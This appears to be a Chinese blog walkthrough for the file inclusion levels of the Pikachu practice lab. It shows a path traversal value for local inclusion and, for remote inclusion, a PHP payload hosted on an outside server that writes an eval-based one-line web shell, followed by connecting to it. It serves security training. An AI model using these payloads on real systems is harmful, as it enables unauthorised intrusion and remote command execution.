pikachu文件包含漏洞靶场通关攻略

本地文件包含

首先,在靶场根目录下创建一个php文件,内容是phpinfo();

其次,上传一个任意球星图片,会跳转到带有filename参数的php文件下

然后,将filename的参数改为可以访问到我们创建的php文件的地址

../../../../2.php

就可以访问到我们的phpinfo

远程文件包含

在进行远程文件包含时,要先修改两个参数

php.ini下的allow_url_include和allow_url_fopen两个参数改为On,前面的冒号也要删掉

(看自己是什么版本的PHP,要和版本对应)

进行任意图片提交

在云服务器上创建一个2.txt文件 内容是

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

就是创建一个shell.php 文件,文件内容为一句话木马

然后,将filename的参数改为我们2.txt的地址

http://47.121.191.208/2.txt

回车后就可以在fileinclude目录下找到我们上传的shell.php文件

接下来使用连接工具进行webshell连接,成功连接

相关推荐
Clockwiseee2 小时前
RCE常见姿势
安全·web安全·网络安全
denglei.2 小时前
在Nginx部署Web应用,如何保障后端API的安全
nginx·安全
Smile灬凉城6663 小时前
robots协议
安全·php·robots
网络安全(king)5 小时前
网络安全攻防学习平台 - 基础关
网络·学习·web安全
Hacker_Nightrain5 小时前
网络安全与加密
安全·web安全
网安墨雨7 小时前
浅谈TARA在汽车网络安全中的关键角色
网络·web安全·汽车
网安-轩逸7 小时前
汽车网络安全渗透测试
安全·web安全·汽车
几维安全8 小时前
如何通过运行时威胁洞察提升反欺诈策略
运维·网络·安全
学习溢出8 小时前
【网络安全】John the Ripper 散列密码,PDF密码
安全·网络安全·pdf·哈希算法
黑客Jack9 小时前
什么是网络安全审计?
网络·安全·web安全